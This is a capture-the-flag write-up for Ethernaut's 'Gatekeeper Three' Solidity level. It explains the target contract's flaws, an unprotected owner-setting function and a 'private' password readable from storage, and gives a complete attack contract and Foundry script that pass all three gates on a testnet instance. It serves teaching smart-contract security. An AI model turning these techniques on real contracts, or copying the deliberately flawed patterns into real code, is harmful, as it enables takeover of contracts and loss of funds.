The Ethernaut CTF Solutions | 28 - Gate Keeper Three
Gatekeeper's Challenge: Tackling Modifiers and Contract Security Layers
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (
address(this).balance > 0.001 ether &&
payable(owner).send(0.001 ether) == false
) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive() external payable {}
}
The hack
The GateKeeperThree
is a really simple level. Nothing complex, just to follow the flow of each modifier. So let's check those modifiers:
Gate 1
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
We just have to call the construct0r()
function to become the owner of the contract. This is solidity ^0.8, constructors are defined with the constructor
keyword. The following is not a constructor, typo or not.
function construct0r() public {
owner = msg.sender;
}
On top of that, the function lacks access control so anyone can call it. Already seen in previous levels. Same for the tx.origin != owner
check. So let's move on.
Gate 2
modifier gateTwo() {
require(allowEntrance == true);
_;
}
To set allowEntrance
to true
, we need to call the getAllowance
function. This function needs a password. And to get the password, we need to read the storage. However, before we can do that, we need to deploy the SimpleTrick
contract by calling the createTrick
function. Then we can read its storage at slot 2
:
- With web3.js in the browser:
await web3.eth.getStorageAt("0x...your trick address here", 2);
- With Foundry:
bytes32 pwd = vm.load("0x...your trick address here", bytes32(uint256(2)));
Let's move on to the last modifier.
Gate 3
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
So the contract needs to have a balance greater than 0.001 ether and must be prevented from being able to send it to our GateSkipperThree
contract. So we can either add a fallback function that always reverts, or just make sure our contract can't receive funds by omitting the receive
and fallback functions.
And... that's it.
Solution
Here is the full solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IKeeper {
function owner() external view returns (address);
function entrant() external view returns (address);
function allowEntrance() external view returns (bool);
function trick() external view returns (address);
function construct0r() external;
function getAllowance(uint _password) external;
function createTrick() external;
function enter() external;
}
contract GateSkipperThree {
IKeeper public immutable keeper;
address public trick;
constructor(address _keeper) payable {
keeper = IKeeper(_keeper);
keeper.createTrick();
trick = keeper.trick();
}
function attack(bytes32 _password) public {
// Gate 1: Contract become owner, thanks to the lack of access control
keeper.construct0r();
require(keeper.owner() == address(this), "Contract isn't owner!");
// Gate 2: Call getAllowance to get password
keeper.getAllowance(uint256(_password));
require(keeper.allowEntrance(), "allowEntrance isn't true!");
// Gate 3: Deposit to keeper but revert on receive
(bool success, ) = address(keeper).call{value: 0.0011 ether}("");
require(success, "Deposit failed!");
keeper.enter();
require(keeper.entrant() == msg.sender, "Attack failed!");
}
fallback() external {
require(true == false);
}
}
Let's craft a script to facilitate the deployment:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {GateSkipperThree} from "../src/28_GateKeeperThree.sol";
contract PoC is Script {
// Replace with your GoodSamaritan instance
address gateKeepperThree = 0xe05Caa08305692ea6Bb2DB43E4c96a1e7A51FDB0;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
GateSkipperThree gateSkipperThree = new GateSkipperThree{
value: 0.0011 ether
}(gateKeepperThree);
address trick = gateSkipperThree.trick();
bytes32 pwd = vm.load(trick, bytes32(uint256(2)));
console2.log("Password: ", uint256(pwd));
gateSkipperThree.attack(pwd);
console2.log("Entrant : ", gateSkipperThree.keeper().entrant());
vm.stopBroadcast();
}
}
Then you can run the script with the following command:
forge script script/28_GateKeeperThree.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
And check the result in the console:
🎉 Level completed 🎉
Takeaway
Use of the
receive
&fallback
functions.tx.origin
!=msg.sender
.private
doesn't mean secret in solidity.
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/